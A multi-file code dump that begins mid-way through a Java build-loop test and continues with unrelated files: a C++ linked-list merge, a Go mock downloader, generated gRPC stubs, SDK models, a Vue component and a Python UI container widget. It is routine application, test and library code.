assertThat(monitor.cycleStart(0), is(true)); assertThat(monitor.changed(0), is(false)); assertThat(monitor.changeType(0), is(nullValue())); assertThat(monitor.buildStart(0), is(false)); assertThat(monitor.buildType(0), is(nullValue())); assertThat(monitor.buildFailed(0), is(nullValue())); assertThat(monitor.ready(0), is(true)); assertThat(monitor.cycleEnd(0), is(true)); assertThat(monitor.cycleStart(1), is(true)); assertThat(monitor.changed(1), is(false)); assertThat(monitor.changeType(1), is(nullValue())); assertThat(monitor.buildStart(1), is(false)); assertThat(monitor.buildType(1), is(nullValue())); assertThat(monitor.buildFailed(1), is(nullValue())); assertThat(monitor.ready(1), is(false)); assertThat(monitor.cycleEnd(1), is(true)); assertThat(monitor.cycleStart(2), is(true)); assertThat(monitor.changed(2), is(true)); assertThat(monitor.changeType(2), is(ChangeType.BuildFile)); assertThat(monitor.buildStart(2), is(false)); assertThat(monitor.buildType(2), is(nullValue())); assertThat(monitor.buildFailed(2), is(nullValue())); assertThat(monitor.ready(2), is(false)); assertThat(monitor.cycleEnd(2), is(true)); assertThat(monitor.cycleStart(3), is(true)); assertThat(monitor.changed(3), is(false)); assertThat(monitor.changeType(3), is(nullValue())); assertThat(monitor.buildStart(3), is(true)); assertThat(monitor.buildType(3), is(BuildType.ForkedComplete)); assertThat(monitor.buildFailed(3), is(nullValue())); assertThat(monitor.ready(3), is(true)); assertThat(monitor.cycleEnd(3), is(true)); final String allOutput = String.join(" ", monitor.outputAsString()); assertThat(allOutput, containsString("BUILD SUCCESS")); } @Test void testSeSourceChangeWhileBuildingAfterFailure() throws Exception { final Path rootDir = newSeProject(true); final AtomicReference<FileTime> breakJavaTime = new AtomicReference<>(); final AtomicReference<FileTime> fixJavaTime = new AtomicReference<>(); final TestMonitor monitor = new TestMonitor(3) { @Override public void onCycleStart(int cycleNumber) { super.onCycleStart(cycleNumber); if (cycleNumber == 2) { breakJavaTime.set(breakJava(javaFile)); } } @Override public long onBuildFail(int cycleNumber, BuildType type, Throwable error) { final long result = super.onBuildFail(cycleNumber, type, error); assertThat(cycleNumber, is(2)); fixJavaTime.set(fixJava(javaFile)); return result; } }; final BuildLoop loop = newLoop(rootDir, false, false, monitor); TestUtils.run(loop); final Project project = loop.project(); assertThat(project, is(not(nullValue()))); assertThat(monitor.started(), is(true)); assertThat(monitor.stopped(), is(true)); assertThat(monitor.lastCycle(), is(3)); assertThat(monitor.cycleStart(0), is(true)); assertThat(monitor.changed(0), is(false)); assertThat(monitor.changeType(0), is(nullValue())); assertThat(monitor.buildStart(0), is(false)); assertThat(monitor.buildType(0), is(nullValue())); assertThat(monitor.buildFailed(0), is(nullValue())); assertThat(monitor.ready(0), is(true)); assertThat(monitor.cycleEnd(0), is(true)); assertThat(monitor.cycleStart(1), is(true)); assertThat(monitor.changed(1), is(false)); assertThat(monitor.changeType(1), is(nullValue())); assertThat(monitor.buildStart(1), is(false)); assertThat(monitor.buildType(1), is(nullValue())); assertThat(monitor.buildFailed(1), is(nullValue())); assertThat(monitor.ready(1), is(false)); assertThat(monitor.cycleEnd(1), is(true)); assertThat(monitor.cycleStart(2), is(true)); assertThat(monitor.changed(2), is(true)); assertThat(monitor.changeType(2), is(ChangeType.SourceFile)); assertThat(monitor.buildStart(2), is(true)); assertThat(monitor.buildType(2), is(BuildType.Incremental)); assertThat(monitor.buildFailed(2), is(notNullValue())); assertThat(monitor.ready(2), is(false)); assertThat(monitor.cycleEnd(2), is(true)); assertThat(monitor.cycleStart(3), is(true)); assertThat(monitor.changed(3), is(true)); assertThat(monitor.changeType(3), is(ChangeType.SourceFile)); assertThat(monitor.buildStart(3), is(true)); assertThat(monitor.buildType(3), is(BuildType.Incremental)); assertThat(monitor.buildFailed(3), is(nullValue())); assertThat(monitor.ready(3), is(true)); assertThat(monitor.cycleEnd(3), is(true)); } @Test @Disabled("used only for occasional sanity checks; timing related, so could cause intermittent failures") void testChangeDetectionMethodsRelativePerformance() throws Exception { final Path rootDir = newSeProject(false); final TestMonitor monitor = new TestMonitor(0); final BuildLoop loop = newLoop(rootDir, false, false, monitor); final int iterations = 1000; final FileTime timeZero = FileTime.fromMillis(0); TestUtils.run(loop); final Project project = loop.project(); Log.info("%d iterations of MavenProjectSupplier.changedSince()", iterations); long startTime = System.currentTimeMillis(); for (int i = 0; i < iterations; i++) { MavenProjectSupplier.changedSince(rootDir, timeZero, FileUtils.ChangeDetectionType.LATEST); } final long changedSinceTotal = System.currentTimeMillis() - startTime; Log.info("changedSince: %d ms", changedSinceTotal); Log.info("%d iterations of project.sourceChangesSince()", iterations); startTime = System.currentTimeMillis(); for (int i = 0; i < iterations; i++) { project.sourceChangesSince(timeZero); } final long sourceChangesSinceTotal = System.currentTimeMillis() - startTime; Log.info("sourceChangesSince: %d ms", sourceChangesSinceTotal); assertThat(sourceChangesSinceTotal, is(lessThan(changedSinceTotal))); } }
jahnvisrivastava100/CompetitiveProgrammingQuestionBank
Data Structures/Linked Lists/merge_two_sorted_linkedlist.cpp
<filename>Data Structures/Linked Lists/merge_two_sorted_linkedlist.cpp /* Given two sorted linked lists consisting of N and M nodes respectively. The task is to merge both of the list (in-place) and return head of the merged list. Note: It is strongly recommended to do merging in-place using O(1) extra space. */ #include <iostream> using namespace std; struct Node { int data; struct Node *next; Node(int x) { data = x; next = NULL; } }; Node *sortedMerge(struct Node *a, struct Node *b); void printList(struct Node *n) { while (n != NULL) { cout << n->data << " "; n = n->next; } cout << endl; } int main() { int t; cin >> t; while (t--) { int n, m; cin >> n >> m; int data; cin >> data; struct Node *head1 = new Node(data); struct Node *tail1 = head1; for (int i = 1; i < n; ++i) { cin >> data; tail1->next = new Node(data); tail1 = tail1->next; } cin >> data; struct Node *head2 = new Node(data); struct Node *tail2 = head2; for (int i = 1; i < m; i++) { cin >> data; tail2->next = new Node(data); tail2 = tail2->next; } Node *head = sortedMerge(head1, head2); printList(head); } return 0; } Node *sortedMerge(Node *A, Node *B) { // code here Node *head = NULL; Node **ref = &head; while (A && B) { if (A->data < B->data) { *ref = A; A = A->next; } else { *ref = B; B = B->next; } ref = &((*ref)->next); } *ref = (A) ? A : B; return head; }
kiranparajuli589/reva
pkg/storage/utils/downloader/mock/downloader_mock.go
<filename>pkg/storage/utils/downloader/mock/downloader_mock.go // Copyright 2018-2021 CERN // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // In applying this license, CERN does not waive the privileges and immunities // granted to it by virtue of its status as an Intergovernmental Organization // or submit itself to any jurisdiction. package mock import ( "bufio" "context" "io" "os" "github.com/cs3org/reva/pkg/storage/utils/downloader" ) type mockDownloader struct{} // NewDownloader creates a mock downloader that implements the Downloader interface // supposed to be used for testing func NewDownloader() downloader.Downloader { return &mockDownloader{} } // Download copies the content of a local file into the dst Writer func (m *mockDownloader) Download(ctx context.Context, path string, dst io.Writer) error { f, err := os.Open(path) if err != nil { return err } defer f.Close() fr := bufio.NewReader(f) _, err = io.Copy(dst, fr) return err }
enioka/enioka_scan
enioka_scan/src/main/java/com/enioka/scanner/sdk/zebraoss/commands/ImageModeDecoder.java
<reponame>enioka/enioka_scan package com.enioka.scanner.sdk.zebraoss.commands; import com.enioka.scanner.sdk.zebraoss.ssi.SsiCommand; public class ImageModeDecoder extends CommandExpectingAck { public ImageModeDecoder() { super(SsiCommand.IMAGER_MODE.getOpCode(), new byte[]{0x00}); } }
yasserzt/PFE2020
node_modules/vue-instantsearch/src/components/InstantSearchSsr.js
<reponame>yasserzt/PFE2020 import { createInstantSearchComponent } from '../util/createInstantSearchComponent'; export default createInstantSearchComponent({ name: 'AisInstantSearchSsr', inject: { // should be possible to configure this with {camelcase: ['error', {allow: ['^\\$_']}]} // but that didn't work // eslint-disable-next-line camelcase $_ais: { default() { throw new Error('`rootMixin` is required when using SSR.'); }, }, }, data() { return { instantSearchInstance: this.$_ais, }; }, render(createElement) { return createElement( 'div', { class: { [this.suit()]: true, [this.suit('', 'ssr')]: true, }, }, this.$slots.default ); }, });
avlimas/asquare
security/src/main/java/zone/cogni/asquare/security/SecurityController.java
package zone.cogni.asquare.security; import org.springframework.http.converter.json.MappingJackson2HttpMessageConverter; import org.springframework.security.core.Authentication; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import zone.cogni.asquare.security.model.AuthenticationToken; import zone.cogni.asquare.security.model.AuthenticationTokenMapper; import zone.cogni.asquare.security.model.UserDto; @RestController @RequestMapping("/api/public") public class SecurityController { private final MappingJackson2HttpMessageConverter httpMessageConverter; public SecurityController(MappingJackson2HttpMessageConverter httpMessageConverter) { this.httpMessageConverter = httpMessageConverter; } @GetMapping("user") public UserDto getUser(Authentication authentication) { if (authentication == null) { return null; } //if (authentication == null) { // return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); //} UserDto userDto; if (authentication instanceof AuthenticationToken) { userDto = AuthenticationTokenMapper.authTokenToUserDto((AuthenticationToken) authentication); } else { userDto = AuthenticationTokenMapper.authTokenToUserDto(authentication.getName(), authentication.getName()); } return userDto;//ResponseEntity.ok().body(RestResponse.success(userDto)); } }
andilyliao/grpc-java
benchmarks/src/generated/main/io/grpc/testing/TestServiceGrpc.java
<gh_stars>1-10 package io.grpc.testing; import static io.grpc.stub.Calls.createMethodDescriptor; import static io.grpc.stub.Calls.asyncUnaryCall; import static io.grpc.stub.Calls.asyncServerStreamingCall; import static io.grpc.stub.Calls.asyncClientStreamingCall; import static io.grpc.stub.Calls.duplexStreamingCall; import static io.grpc.stub.Calls.blockingUnaryCall; import static io.grpc.stub.Calls.blockingServerStreamingCall; import static io.grpc.stub.Calls.unaryFutureCall; import static io.grpc.stub.ServerCalls.createMethodDefinition; import static io.grpc.stub.ServerCalls.asyncUnaryRequestCall; import static io.grpc.stub.ServerCalls.asyncStreamingRequestCall; @javax.annotation.Generated("by gRPC proto compiler") public class TestServiceGrpc { private static final io.grpc.stub.Method<io.grpc.testing.SimpleRequest, io.grpc.testing.SimpleResponse> METHOD_UNARY_CALL = io.grpc.stub.Method.create( io.grpc.MethodType.UNARY, "UnaryCall", io.grpc.protobuf.ProtoUtils.marshaller(io.grpc.testing.SimpleRequest.PARSER), io.grpc.protobuf.ProtoUtils.marshaller(io.grpc.testing.SimpleResponse.PARSER)); private static final io.grpc.stub.Method<io.grpc.testing.SimpleRequest, io.grpc.testing.SimpleResponse> METHOD_STREAMING_CALL = io.grpc.stub.Method.create( io.grpc.MethodType.DUPLEX_STREAMING, "StreamingCall", io.grpc.protobuf.ProtoUtils.marshaller(io.grpc.testing.SimpleRequest.PARSER), io.grpc.protobuf.ProtoUtils.marshaller(io.grpc.testing.SimpleResponse.PARSER)); public static TestServiceStub newStub(io.grpc.Channel channel) { return new TestServiceStub(channel, CONFIG); } public static TestServiceBlockingStub newBlockingStub( io.grpc.Channel channel) { return new TestServiceBlockingStub(channel, CONFIG); } public static TestServiceFutureStub newFutureStub( io.grpc.Channel channel) { return new TestServiceFutureStub(channel, CONFIG); } public static final TestServiceServiceDescriptor CONFIG = new TestServiceServiceDescriptor(); @javax.annotation.concurrent.Immutable public static class TestServiceServiceDescriptor extends io.grpc.stub.AbstractServiceDescriptor<TestServiceServiceDescriptor> { public final io.grpc.MethodDescriptor<io.grpc.testing.SimpleRequest, io.grpc.testing.SimpleResponse> unaryCall; public final io.grpc.MethodDescriptor<io.grpc.testing.SimpleRequest, io.grpc.testing.SimpleResponse> streamingCall; private TestServiceServiceDescriptor() { unaryCall = createMethodDescriptor( "grpc.testing.TestService", METHOD_UNARY_CALL); streamingCall = createMethodDescriptor( "grpc.testing.TestService", METHOD_STREAMING_CALL); } @SuppressWarnings("unchecked") private TestServiceServiceDescriptor( java.util.Map<java.lang.String, io.grpc.MethodDescriptor<?, ?>> methodMap) { unaryCall = (io.grpc.MethodDescriptor<io.grpc.testing.SimpleRequest, io.grpc.testing.SimpleResponse>) methodMap.get( CONFIG.unaryCall.getName()); streamingCall = (io.grpc.MethodDescriptor<io.grpc.testing.SimpleRequest, io.grpc.testing.SimpleResponse>) methodMap.get( CONFIG.streamingCall.getName()); } @java.lang.Override protected TestServiceServiceDescriptor build( java.util.Map<java.lang.String, io.grpc.MethodDescriptor<?, ?>> methodMap) { return new TestServiceServiceDescriptor(methodMap); } @java.lang.Override public com.google.common.collect.ImmutableList<io.grpc.MethodDescriptor<?, ?>> methods() { return com.google.common.collect.ImmutableList.<io.grpc.MethodDescriptor<?, ?>>of( unaryCall, streamingCall); } } public static interface TestService { public void unaryCall(io.grpc.testing.SimpleRequest request, io.grpc.stub.StreamObserver<io.grpc.testing.SimpleResponse> responseObserver); public io.grpc.stub.StreamObserver<io.grpc.testing.SimpleRequest> streamingCall( io.grpc.stub.StreamObserver<io.grpc.testing.SimpleResponse> responseObserver); } public static interface TestServiceBlockingClient { public io.grpc.testing.SimpleResponse unaryCall(io.grpc.testing.SimpleRequest request); } public static interface TestServiceFutureClient { public com.google.common.util.concurrent.ListenableFuture<io.grpc.testing.SimpleResponse> unaryCall( io.grpc.testing.SimpleRequest request); } public static class TestServiceStub extends io.grpc.stub.AbstractStub<TestServiceStub, TestServiceServiceDescriptor> implements TestService { private TestServiceStub(io.grpc.Channel channel, TestServiceServiceDescriptor config) { super(channel, config); } @java.lang.Override protected TestServiceStub build(io.grpc.Channel channel, TestServiceServiceDescriptor config) { return new TestServiceStub(channel, config); } @java.lang.Override public void unaryCall(io.grpc.testing.SimpleRequest request, io.grpc.stub.StreamObserver<io.grpc.testing.SimpleResponse> responseObserver) { asyncUnaryCall( channel.newCall(config.unaryCall), request, responseObserver); } @java.lang.Override public io.grpc.stub.StreamObserver<io.grpc.testing.SimpleRequest> streamingCall( io.grpc.stub.StreamObserver<io.grpc.testing.SimpleResponse> responseObserver) { return duplexStreamingCall( channel.newCall(config.streamingCall), responseObserver); } } public static class TestServiceBlockingStub extends io.grpc.stub.AbstractStub<TestServiceBlockingStub, TestServiceServiceDescriptor> implements TestServiceBlockingClient { private TestServiceBlockingStub(io.grpc.Channel channel, TestServiceServiceDescriptor config) { super(channel, config); } @java.lang.Override protected TestServiceBlockingStub build(io.grpc.Channel channel, TestServiceServiceDescriptor config) { return new TestServiceBlockingStub(channel, config); } @java.lang.Override public io.grpc.testing.SimpleResponse unaryCall(io.grpc.testing.SimpleRequest request) { return blockingUnaryCall( channel.newCall(config.unaryCall), request); } } public static class TestServiceFutureStub extends io.grpc.stub.AbstractStub<TestServiceFutureStub, TestServiceServiceDescriptor> implements TestServiceFutureClient { private TestServiceFutureStub(io.grpc.Channel channel, TestServiceServiceDescriptor config) { super(channel, config); } @java.lang.Override protected TestServiceFutureStub build(io.grpc.Channel channel, TestServiceServiceDescriptor config) { return new TestServiceFutureStub(channel, config); } @java.lang.Override public com.google.common.util.concurrent.ListenableFuture<io.grpc.testing.SimpleResponse> unaryCall( io.grpc.testing.SimpleRequest request) { return unaryFutureCall( channel.newCall(config.unaryCall), request); } } public static io.grpc.ServerServiceDefinition bindService( final TestService serviceImpl) { return io.grpc.ServerServiceDefinition.builder("grpc.testing.TestService") .addMethod(createMethodDefinition( METHOD_UNARY_CALL, asyncUnaryRequestCall( new io.grpc.stub.ServerCalls.UnaryRequestMethod< io.grpc.testing.SimpleRequest, io.grpc.testing.SimpleResponse>() { @java.lang.Override public void invoke( io.grpc.testing.SimpleRequest request, io.grpc.stub.StreamObserver<io.grpc.testing.SimpleResponse> responseObserver) { serviceImpl.unaryCall(request, responseObserver); } }))) .addMethod(createMethodDefinition( METHOD_STREAMING_CALL, asyncStreamingRequestCall( new io.grpc.stub.ServerCalls.StreamingRequestMethod< io.grpc.testing.SimpleRequest, io.grpc.testing.SimpleResponse>() { @java.lang.Override public io.grpc.stub.StreamObserver<io.grpc.testing.SimpleRequest> invoke( io.grpc.stub.StreamObserver<io.grpc.testing.SimpleResponse> responseObserver) { return serviceImpl.streamingCall(responseObserver); } }))).build(); } }
atptro/alibabacloud-sdk
ram-20150501/java/src/main/java/com/aliyun/ram20150501/models/GetLoginProfileResponse.java
<reponame>atptro/alibabacloud-sdk // This file is auto-generated, don't edit it. Thanks. package com.aliyun.ram20150501.models; import com.aliyun.tea.*; public class GetLoginProfileResponse extends TeaModel { @NameInMap("RequestId") @Validation(required = true) public String requestId; @NameInMap("LoginProfile") @Validation(required = true) public GetLoginProfileResponseLoginProfile loginProfile; public static GetLoginProfileResponse build(java.util.Map<String, ?> map) throws Exception { GetLoginProfileResponse self = new GetLoginProfileResponse(); return TeaModel.build(map, self); } public static class GetLoginProfileResponseLoginProfile extends TeaModel { @NameInMap("UserName") @Validation(required = true) public String userName; @NameInMap("PasswordResetRequired") @Validation(required = true) public Boolean passwordResetRequired; @NameInMap("MFABindRequired") @Validation(required = true) public Boolean MFABindRequired; @NameInMap("CreateDate") @Validation(required = true) public String createDate; public static GetLoginProfileResponseLoginProfile build(java.util.Map<String, ?> map) throws Exception { GetLoginProfileResponseLoginProfile self = new GetLoginProfileResponseLoginProfile(); return TeaModel.build(map, self); } } }
wesleyegberto/spring-study
spring-boot-mongodb/src/main/java/com/github/wesleyegberto/springmongodb/entity/Entry.java
<filename>spring-boot-mongodb/src/main/java/com/github/wesleyegberto/springmongodb/entity/Entry.java package com.github.wesleyegberto.springmongodb.entity; public class Entry<T1, T2> { private T1 key; private T2 value; public Entry() { } public Entry(T1 key, T2 value) { this.key = key; this.value = value; } public T1 getKey() { return key; } public T2 getValue() { return value; } }
LordZagreus/LodeRunner
code/ui/containers/box.py
from code.ui.common import UIWidget from code.tools.eventqueue import EventQueue from code.tools.xml import XMLNode from code.utils.common import log, log2, xml_encode, xml_decode, evaluate_spatial_expression from code.constants.common import STENCIL_MODE_NONE, STENCIL_MODE_PAINT, STENCIL_MODE_ERASE, STENCIL_MODE_PAINTED_ONLY, STENCIL_MODE_UNPAINTED_ONLY # A WidgetContainer will hold some number of UIWidgets. class Box(UIWidget): def __init__(self, selector = "box"): # We don't actually render the container itself, so the CSS is irrelevant for the most part, # but I want to make it part of the "DOM" chain, if you will. UIWidget.__init__(self, selector = selector) # Alignment for the container itself self.align = "left" # left, center, right # A widget container can align its contents (perhaps centering elements if they do not require the entire width) self.content_align = "left" # left, center, right # We can place a tooltip widget (any Widget) on a Box self.tooltip = None # List of widgets self.widgets = [] def configure(self, options): # Standard UIWidget configuration UIWidget.configure(self, options) if ( "align" in options ): self.align = options["align"] if ( "content-align" in options ): self.content_align = options["content-align"] # ** WHY WOULD I DO THIS??? """ ## Funnel configuration options forward to all widgets #for widget in self.get_widgets(): # widget.configure(options) """ # For chaining return self # Configure the alpha controller, then cascade def configure_alpha_controller(self, options): # Standard alpha configuration UIWidget.configure_alpha_controller(self, options) # Cascade to children for widget in self.widgets: # Cascade widget.configure_alpha_controller(options) # Save box state def save_state(self): # Standard UIWidget state root = UIWidget.save_state(self) # Add in state of any child widget (members of the container) descendants_node = root.add_node( XMLNode("descendants") ) # Loop each widget for i in range( 0, len(self.widgets) ): # Convenience widget = self.widgets[i] # Prepare to save widget state widget_node = descendants_node.add_node( XMLNode("descendant") ) # Track index widget_node.set_attribute("index", i) # Add widget state widget_node.add_node( widget.save_state() ) # Return node return root # Load Box state def load_state(self, node): # Standard UIWidget state UIWidget.load_state(self, node) # Grab descendant data descendants_node = node.find_node_by_tag("descendants") # Validate if (descendants_node): # Loop through all widgets descendant_collection = descendants_node.get_nodes_by_tag("descendant") for ref_descendant in descendant_collection: # Get widget list index index = int( ref_descendant.get_attribute("index") ) # Sanity if ( index < len(self.widgets) ): # Restore given widget self.widgets[index].load_state( ref_descendant.find_node_by_tag("widget") ) # Get child widgets def get_child_widgets(self): # Track results results = [] # Grab child widgets results.extend(self.widgets) """ # Tooltip available? if (self.tooltip): # Add results.append(self.tooltip) """ # Return all widgets return results # Get tooltip def get_tooltip(self): # Return return self.tooltip # Count widgets in this Box def count(self): return len(self.widgets) # Grab all widgets def get_widgets(self): return self.widgets # Add a new widget to this Box def add_widget(self, widget): # Hello, friend! self.widgets.append( widget.configure({ "bloodline": self.get_bloodline() }) ) # For chaining return self.widgets[-1] # Get a particular widget def get_widget_by_id(self, widget_id): # Loop widgets for widget in self.get_child_widgets(): # Match? if ( widget.get_id() == widget_id ): # Return Widget return widget # Couldn't find it return None # Try to find a widget somewhere within the box, even if it's in another widget def find_widget_by_id(self, widget_id): # Check each widget for widget in self.get_child_widgets(): # Is this the one? if ( widget.get_id() == widget_id ): # Yes! return widget # If not, perhaps the widget contains the desired widget... else: # Try to find it... nested_widget = widget.find_widget_by_id(widget_id) # Find one? if (nested_widget): # Here it is return nested_widget # We couldn't find a widget by that id... return None # Alias def translate(self, h): self.translate_environment_variables(h) # Translate a given hash of environment variables def translate_environment_variables(self, h): # Loop children for widget in self.get_child_widgets(): # Do not descend into new namespaces if ( widget.get_namespace() == None ): # Translate child widget widget.translate_environment_variables(h) # Does this box have a tooltip? if (self.tooltip): # Do not descend into new namespaces if ( self.tooltip.get_namespace() == None ): # Translate tooltip self.tooltip.translate_environment_variables(h) # This widget only contains other widgets; it will not translate # anything of its own self. # Box uses a custom while awake callback to handle tooltip logic def on_focus(self): # Standard callback UIWidget.on_focus(self) # Tooltip? if (self.tooltip): # Cascade self.tooltip.css({ "bloodline": self.get_bloodline() }).focus() # Box uses a custom while asleep callback to handle tooltip logic def on_blur(self): # Standard callback UIWidget.on_blur(self) # Tooltip? if (self.tooltip): # Cascade self.tooltip.css({ "bloodline": self.get_bloodline() }).blur() # On a resize, we should send each widget inside of this container a new max-width def on_resize(self, text_renderer = None): # Cascade for widget in self.get_child_widgets(): widget.configure({ "max-width": self.get_width() - ( self.get_padding_left() + self.get_padding_right() ) }) if (text_renderer): widget.configure({ "max-height": self.report_widget_height(text_renderer)#self.get_render_height(text_renderer) - ( self.get_padding_top() + self.get_padding_bottom() ) }) widget.on_resize(text_renderer) # If this Box has a tooltip, let's set a max width (?) if (self.tooltip): # I guess ... self.tooltip.configure({ "max-width": self.get_width() - ( self.get_padding_left() + self.get_padding_right() ) }) # Resize callback self.tooltip.on_resize(text_renderer) # When "selected," a container will check with its widgets to see if they have any "on select" reaction def on_select(self): # Track events results = EventQueue() for widget in self.get_widgets(): widget_results = widget.on_select() if (widget_results != None): # We need to inject "this" (self) into the params... for widget_result in widget_results._get_queue(): widget_result.set_params({ "widget": self }) # Append modified results results.append( widget_results ) # Return events return results def report_widget_width(self, text_renderer): return self.width def report_widget_height(self, text_renderer): metric = self.get_cached_metric("reported-widget-height") if (metric != None): return metric else: # Some boxes (when in homogenized RowMenu Group widgets) will use a pre-assigned height value if ( self.style_height > 0 ): # Easy metric = self.style_height elif ( len(self.widgets) > 0 ): metric = max( self.min_height, max( ( widget.get_y() + widget.get_box_height(text_renderer) ) for widget in self.get_child_widgets() if widget.position == "relative" ) ) else: metric = self.min_height # Cache for future reuse self.cache_metric("reported-widget-height", metric) if ( self.css_class == "debug1" ): log2( self.get_rel(), "reports height: %s" % metric ) # Return value return metric def get_min_x(self, text_renderer): min_x = 0 if ( len(self.widgets) > 0 ): min_x = min(widget.get_x() + widget.get_x_offset(text_renderer) for widget in self.get_widgets() if widget.position == "relative") return min_x def get_max_x(self, text_renderer): max_x = 0 if ( len(self.widgets) > 0 ): max_x = max( widget.get_max_x(text_renderer) for widget in self.get_widgets() if widget.position == "relative" ) return max_x def populate_from_collection(self, elem_collection, control_center, universe): # Fetch the widget dispatcher widget_dispatcher = control_center.get_widget_dispatcher() for ref_elem in elem_collection: """ (x, y, w, h) = ( 0, int( ref_elem.get_attribute("y") ), self.width, 0 # Updated later... ) # Width calculation if (ref_elem.get_attribute("width")): ref_elem.set_attributes({ "width": evaluate_spatial_expression( value = ref_elem.get_attribute("width"), ceiling = self.width ) }) # X-coordinate calculation if (ref_elem.get_attribute("x")): ref_elem.set_attributes({ "x": evaluate_spatial_expression( value = ref_elem.get_attribute("x"), ceiling = self.width ) }) # Y-coordinate calculation #if (ref_elem.get_attribute("y")): # y = evaluate_spatial_expression( # value = ref_elem.get_attribute("y"), # ceiling = self.calculate_height(text_renderer) # ) """ # Update the bloodline data ref_elem.set_attributes({ "bloodline": self.get_bloodline(), "max-width": self.get_width() }) # Create the raw widget widget = widget_dispatcher.convert_node_to_widget(ref_elem, control_center, universe) # Validate that we could translate the node into a widget if (widget): # Set parent to this Box widget.set_parent(self) # Create and configure the widget (position) self.add_widget(widget).configure( #ref_elem.set_attributes({ # "bloodline": self.get_bloodline(), # Assign the widget its CSS bloodline (it belongs to the RowMenu, then a RowMenuGroup) # "xx": 0,#x, # "xy": 0#y #}).get_attributes() { "bloodline": self.get_bloodline() } ) else: log( "Unknown widget tag '%s'" % ref_elem.tag_type ) self.on_resize( control_center.get_window_controller().get_default_text_controller().get_text_renderer() ) def handle_user_input(self, control_center, universe): # One of the widgets may signal various events (e.g. KeyListeners signalling key presses) results = EventQueue() for widget in self.get_widgets(): # Send input to widget results.append( widget.handle_user_input(control_center, universe) ) # Return events return results def process(self, control_center, universe): # Common widget processing results = self.__std_process__(control_center, universe) # Process each widget in this container for widget in self.get_widgets(): # Process widget results.append( widget.process(control_center, universe) ) # Does this Box have a tooltip widget? if (self.tooltip): # Let's just process it without events, huh? self.tooltip.process(control_center, universe) # Return events return results def draw(self, sx, sy, tilesheet_sprite, additional_sprites, text_renderer, window_controller): # Box rendering position (rx, ry) = ( sx + self.get_x() + self.hslide_controller.get_interval(), sy + self.get_y() + self.get_margin_top() + self.vslide_controller.get_interval() ) #(u, v) = (sx, sy) (zx, zy) = (rx, ry) # Current box dimensions (width, height) = ( self.get_width(), max( self.min_height, self.get_render_height(text_renderer) ) ) """ # Hacky overwrite if (self.style_height > 0): # Overwrite height = self.style_height """ # Custom containre alignment if (self.align == "center"): rx -= int( self.get_width() / 2 ) elif (self.align == "right"): rx -= self.get_width() # Use our own alpha value alpha = self.alpha_controller.get_interval() # Fetch stencil controller stencil_controller = window_controller.get_stencil_controller() # Clear it #stencil_controller.clear() # Enable painting, as we prepare to define the renderable area #stencil_controller.set_mode(STENCIL_MODE_PAINT) # Now, render the border, if/a if (self.render_border): self.__std_render_border__(rx, ry, width, height, window_controller) # Set the stencil controller to erase mode before rendering the border #stencil_controller.set_mode(STENCIL_MODE_ERASE) # Render the frame itself, in the process marking its frame as un-writeable to anything else (leaving only the inside region as writeable) if (self.render_border): self.__std_render_frame__(rx, ry, width, height, window_controller) #stencil_controller.set_mode(STENCIL_MODE_PAINTED_ONLY) #print stencil_controller.get_mode() # Render a fill behind the widget's contents? if (self.fill == "always"): self.__std_render_fill__(rx, ry, width, height, window_controller) #print self.get_bloodline() #print width, height, self.get_gradient_start(), self.get_gradient_end(), self.get_background_alpha(), self.alpha_controller.get_interval() elif ( (self.fill == "active") and ( self.is_focused() ) ): self.__std_render_fill__(rx, ry, width, height, window_controller) # If this group wants to have a title bar (typically a rectangle under the first item), # then we'll BRIEFLY enable stencil testing on the region we just painted to... #if (self.uses_title_bar): # stencil_controller.set_mode(STENCIL_MODE_PAINTED_ONLY) # Otherwise, forget about the stencil impressions we just painted. #else: # stencil_controller.set_mode(STENCIL_MODE_NONE)#PAINTED_ONLY) #print stencil_controller.get_mode() # Center content? if (self.content_align == "center"): # Figure out how much of the container's width we really need to use max_x = self.get_max_x(text_renderer) # If it's less than the container's width... if (max_x < width): # ... then we can center the contents rx += int( (width - max_x) / 2 ) # Align right? elif (self.content_align == "right"): # Figure out how much of the container's width we really need to use max_x = self.get_max_x(text_renderer) # If it's less than the container's width... if (max_x < width): # ... then we can center the contents rx += (width - max_x)#sx += int( (width - max_x) / 2 ) else: rx -= (max_x - width) # Base widget rendering position (accounting for box padding) (wx, wy) = ( rx + self.get_padding_left(), ry + self.get_padding_top() ) for i in range( 0 , len(self.widgets) ): # Convenience widget = self.widgets[i] # We'll only render the widget when appropriate... if ( (widget.display == "constant") or ( widget.display == "on-focus" and self.is_focused() ) or (widget.display == "on-focus:linger" and ( self.is_focused() or widget.linger() )) or (widget.display == "off-focus" and ( not self.is_focused() )) ): widget.draw(wx, wy, tilesheet_sprite, additional_sprites, text_renderer, window_controller) #text_renderer.render_with_wrap( "%s, %s -> %s" % (widget.selector, widget.x, widget.get_x()), sx, sy + ( (i + 1) * 20 ), (225, 225, 225, 0.75) ) #i += 1 # If this widget uses a title bar, then we only apply that "effect" to # the leading widget. After we've rendered it, we stop caring about the stencil test. if ( (i == 0) and (self.uses_title_bar) ): stencil_controller.set_mode(STENCIL_MODE_NONE) # Tooltip? if (self.tooltip): # Only render the tooltip if this Box has input focus if ( self.is_focused() ): # Hack self.tooltip.draw(rx, ry, tilesheet_sprite, additional_sprites, text_renderer, window_controller) #window_controller.get_geometry_controller().draw_rect( zx, zy, self.get_width(), 20, (25, 25, 225, 0.15) ) #text_renderer.render_with_wrap( "%d, %d, w = %s, h = %s, calc = %s, max = %s" % (zx, zy, self.width, self.report_widget_height(text_renderer), self.get_width(), self.max_width), rx, ry, (225, 225, 25, 0.75) ) #if (self.css_class == "debug2"): # text_renderer.render("%s, %s" % (self.alpha_controller.get_interval(), self.alpha_controller.get_target()), rx + 100, ry + 0*text_renderer.font_height, (175, 225, 175, 0.75))
eden-framework/eden-framework
internal/generator/operator/utils.go
